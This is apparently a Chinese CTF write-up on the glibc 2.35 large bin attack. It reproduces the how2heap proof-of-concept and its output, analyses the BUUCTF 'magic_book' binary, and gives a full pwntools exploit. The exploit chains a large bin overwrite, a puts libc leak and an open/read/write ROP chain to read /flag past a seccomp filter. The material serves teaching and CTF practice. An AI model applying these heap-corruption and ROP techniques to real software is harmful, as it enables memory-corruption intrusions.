Largebin_attack
最近填一下以前的陈年老坑
这篇文章我主要分享的是2.35版本下的Large_bin_attack
how2heap中的源码
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}
运行结果
Since glibc2.30, two new checks have been enforced on large bin chunk insertion
Check 1 :
> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
> malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 :
> if (bck->fd != fwd)
> malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below :
====================================================================
Here is the target we want to overwrite (0x7ffc110e5638) : 0
First, we allocate a large chunk [p1] (0x1b1a290)
And another chunk to prevent consolidate
We also allocate a second large chunk [p2] (0x1b1a6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate
Free the larger of the two --> [p1] (0x1b1a290)
Allocate a chunk larger than [p1] to insert [p1] into large bin
Free the smaller of the two --> [p2] (0x1b1a6e0)
At this point, we have one chunk in large bin [p1] (0x1b1a290),
and one chunk in unsorted bin [p2] (0x1b1a6e0)
Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc110e5618)
Finally, allocate another chunk larger than [p2] (0x1b1a6e0) to place [p2] (0x1b1a6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x1b1a6e0) into largebin, [p1](0x1b1a290)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (0x1b1a6e0)
In our case here, target is now overwritten to address of [p2] (0x1b1a6e0), [target] (0x1b1a6e0)
Target (0x7ffc110e5638) : 0x1b1a6e0
====================================================================
简化运行结果
- 分配至少三个chunk,并分别标号为0 1 2,其中1号chunk用于分隔0和2chunk防止合并,chunk0要比chunk2大
- 并且chunk0和chunk2的大小要达到一定的值保证他们被free时会被放到largebin中
- 分配之后释放掉chunk0,然后分配一个大小大于chunk0的chunk,来把chunk0放到largebin中
- 然后释放掉chunk2,我们就在largebin和unsortedbin中各有一个chunk,分别是chunk0和chunk2
- 利用其他漏洞把chunk0的bk_nextsize修改成target-0x20,此时再分配大于chunk2的chunk,把chunk2放到largebin中
- 由于在新插入chunk到largebin并且新插入的chunk小于当前链表中的最小chunk时,glibc不会检查chunk的bk_nextsize指针,所以我们就可以把chunk2也就是新插入chunk的地址写到target处
作用:
和低版本的unsortedbin attack一样,能够把一个较大的值写入到我们想要的地方,可以用于以下攻击:
- house of banana
- house of apple系列
- tcache_mp结构体攻击
- 以及其他的一些攻击
题目分析:
题目来源于buuctf2024七月暑期挑战赛的magic_book
我们来看看ida反编译出的伪代码:
主函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
sandbox();
menu1();
dest = malloc(0x100uLL);
while ( 1 )
{
book = (unsigned __int16)book;
menu2();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
edit_the_book();
break;
case 1:
creat_the_book();
break;
case 2:
delete_the_book();
break;
default:
goto LABEL_12;
}
}
}
}
存在沙箱保护
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
return seccomp_load(v1);
}
禁用了59号系统调用也就是execve,只能打orw或者是其他打法
menu1就是菜单函数,
edit函数
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}
edit是输入之后的内容拷贝到dest里面,输入的大小是dest,由此存在栈溢出漏洞,可以控制执行流,不用打IO
create
size_t creat_the_book()
{
size_t v0; // rbx
size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF
if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}
create函数里面限定了只能申请6个chunk,限制了很多打法
delete函数
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 'Y' || buf[0] == 'y') )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}
delete函数存在uaf漏洞,使得我们能够写入到free_chunk的0x8-0x20处的内容,刚好可以覆盖到bk_nextsize
明显的可以打largebin_attack来修改book变量的大小为较大值,从而通过栈溢出控制执行流
EXP
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
eir = 0
if eir == 1:
p=remote("48.218.22.35",10000)
elif eir == 0:
p=process(fn)
elf=ELF(fn)
def open_gdb_terminal():
pid = p.pid
gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
subprocess.Popen(["gnome-terminal", "--geometry=120x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])
def dbg():
open_gdb_terminal()
pause()
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ita = lambda : p.interactive()
pt = lambda s : print(hex(s))
ru("give you a gift: ")
leak=int(p.recv(14),16)
print("heap_leak>>>>>"+hex(leak))
target_addr=leak+0x40
def u6():
return u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
def menu(idx):
sla("Your choice:",str(idx))
def add(size):
menu(1)
sla("How many pages does your book need?",str(size))
def dele1(idx):
menu(2)
sla("which book would you want to delete?",str(idx))
sla("Do you want to say anything else before being deleted?(y/n)","n")
def dele2(idx,target_idx,content):
menu(2)
sla("which book would you want to delete?",str(idx))
sla("Do you want to say anything else before being deleted?(y/n)","y")
sla("which page do you want to write?",str(target_idx))
sa("content: ",content)
def edit(content):
menu(3)
sa("come on,Write down your story!",content)
'''
Gadgets information
============================================================
0x000000000000185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001860 : pop r14 ; pop r15 ; ret
0x0000000000001862 : pop r15 ; ret
0x000000000000185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000012b3 : pop rbp ; ret
0x0000000000001430 : pop rbx ; pop rbp ; ret
0x0000000000001863 : pop rdi ; ret
0x0000000000001861 : pop rsi ; pop r15 ; ret
0x000000000000185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x000000000000161f : ret 0x8b48
0x000000000000174a : ret 0xfffb
p64(rdi)+p64(base+elf.got['puts'])+p64(base+elf.plt['puts'])
'''
add(0x450)#0
add(0x98)#1
add(0x430)#2
add(0x98)#3
dele1(0)
add(0x460)#4
dele2(2,0,b'a'*0x10+p64(target_addr-0x20))
add(0x460)
print("target_addr>>>>"+hex(target_addr))
base=leak-0x4010
main=base+0x172e
rdi=base+0x1863
#dbg()
edit(b'a'*0x28+p64(rdi)+p64(base+elf.got['puts'])+p64(base+elf.plt['puts'])+p64(base+0x15e1))
puts_real=u6()
print(hex(puts_real))
libc_base=puts_real-libc.sym['puts']
readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
openn=libc_base+libc.sym['open']
rsi=libc_base+0x000000000002be51
rdx=libc_base+0x0000000000090529#pop rdx r12
#dbg()
orw=b'a'*0x28+p64(rdi)+p64(0)+p64(rsi)+p64(base+0x4090)+p64(rdx)+p64(0x100)*2+p64(readd)
orw+=p64(rdi)+p64(base+0x4090)+p64(rsi)+p64(0)+p64(rdx)+p64(0)*2+p64(openn)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(base+0x4090)+p64(rdx)+p64(0x100)*2+p64(readd)
orw+=p64(rdi)+p64(1)+p64(rsi)+p64(base+0x4090)+p64(rdx)+p64(0x100)*2+p64(writee)
dbg()
sd(orw)
sd(b'/flag\x00')
ita()
EXP分析
我们主要分析一下largebin_attack部分
也就是下面的部分
add(0x450)#0
add(0x98)#1
add(0x430)#2
add(0x98)#3
dele1(0)
add(0x460)#4
dele2(2,0,b'a'*0x10+p64(target_addr-0x20))
按照我们之前的构造方法进行构造,来gdb调试一下
Allocated chunk | PREV_INUSE
Addr: 0x55e390b08fa0
Size: 0x110 (with flag bits: 0x111)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b090b0
Size: 0x460 (with flag bits: 0x461)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b09510
Size: 0xa0 (with flag bits: 0xa1)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b095b0
Size: 0x440 (with flag bits: 0x441)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b099f0
Size: 0xa0 (with flag bits: 0xa1)
Top chunk | PREV_INUSE
Addr: 0x55e390b09a90
Size: 0x1f570 (with flag bits: 0x1f571)
pwndbg>
构造的chunk数量没有问题,
上面的那些chunk是由于开启了沙箱保护而产生的,不必理会
此时我们free掉chunk0,并且不做修改,gdb看看chunk0是否会进入largebin中
Free chunk (largebins) | PREV_INUSE
Addr: 0x55e390b090b0
Size: 0x460 (with flag bits: 0x461)
fd: 0x7fcfe675d0e0
bk: 0x7fcfe675d0e0
fd_nextsize: 0x55e390b090b0
bk_nextsize: 0x55e390b090b0
Allocated chunk
Addr: 0x55e390b09510
Size: 0xa0 (with flag bits: 0xa0)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b095b0
Size: 0x440 (with flag bits: 0x441)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b099f0
Size: 0xa0 (with flag bits: 0xa1)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b09a90
Size: 0x470 (with flag bits: 0x471)
Top chunk | PREV_INUSE
Addr: 0x55e390b09f00
Size: 0x1f100 (with flag bits: 0x1f101)
pwndbg>
结合pwndbg调试可以看到确实是进入到了largebin中,倘若程序中有uaf和show的功能时,我们可以通过largebin直接泄露出libc和heap_base,十分方便
下面我们free掉chunk2并且把chunk0的bk_nextsize指针指向book-0x20再申请一个大小大于chunk2的chunk看看
Free chunk (largebins) | PREV_INUSE
Addr: 0x55e390b090b0
Size: 0x460 (with flag bits: 0x461)
fd: 0x55e390b095b0
bk: 0x6161616161616161
fd_nextsize: 0x6161616161616161
bk_nextsize: 0x55e390b095b0
Allocated chunk
Addr: 0x55e390b09510
Size: 0xa0 (with flag bits: 0xa0)
Free chunk (largebins) | PREV_INUSE
Addr: 0x55e390b095b0
Size: 0x440 (with flag bits: 0x441)
fd: 0x7fcfe675d0e0
bk: 0x55e390b090b0
fd_nextsize: 0x55e390b090b0
bk_nextsize: 0x55e38ad17030
Allocated chunk
Addr: 0x55e390b099f0
Size: 0xa0 (with flag bits: 0xa0)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b09a90
Size: 0x470 (with flag bits: 0x471)
Allocated chunk | PREV_INUSE
Addr: 0x55e390b09f00
Size: 0x470 (with flag bits: 0x471)
Top chunk | PREV_INUSE
Addr: 0x55e390b0a370
Size: 0x1ec90 (with flag bits: 0x1ec91)
pwndbg> tele 0x55e38ad17000+0x50
00:0000│ 0x55e38ad17050 (book) ◂— 0x95b1
01:0008│ 0x55e38ad17058 ◂— 0x0
02:0010│ 0x55e38ad17060 (p) —▸ 0x55e390b090c0 —▸ 0x55e390b095b0 ◂— 0x0
03:0018│ 0x55e38ad17068 (p+8) —▸ 0x55e390b09520 ◂— 0x0
04:0020│ 0x55e38ad17070 (p+16) —▸ 0x55e390b095c0 —▸ 0x7fcfe675d0e0 (main_arena+1120) —▸ 0x7fcfe675d0d0 (main_arena+1104) —▸ 0x7fcfe675d0c0 (main_arena+1088) ◂— ...
05:0028│ 0x55e38ad17078 (p+24) —▸ 0x55e390b09a00 ◂— 0x0
06:0030│ 0x55e38ad17080 (p+32) —▸ 0x55e390b09aa0 ◂— 0x0
07:0038│ 0x55e38ad17088 (p+40) —▸ 0x55e390b09f10 ◂— 0x0
可以看到chunk2也进入了largebin中,并且book的值也被修改为了chunk2地址的低位,largebin_attack
剩下的就是打orw了,不做过多赘述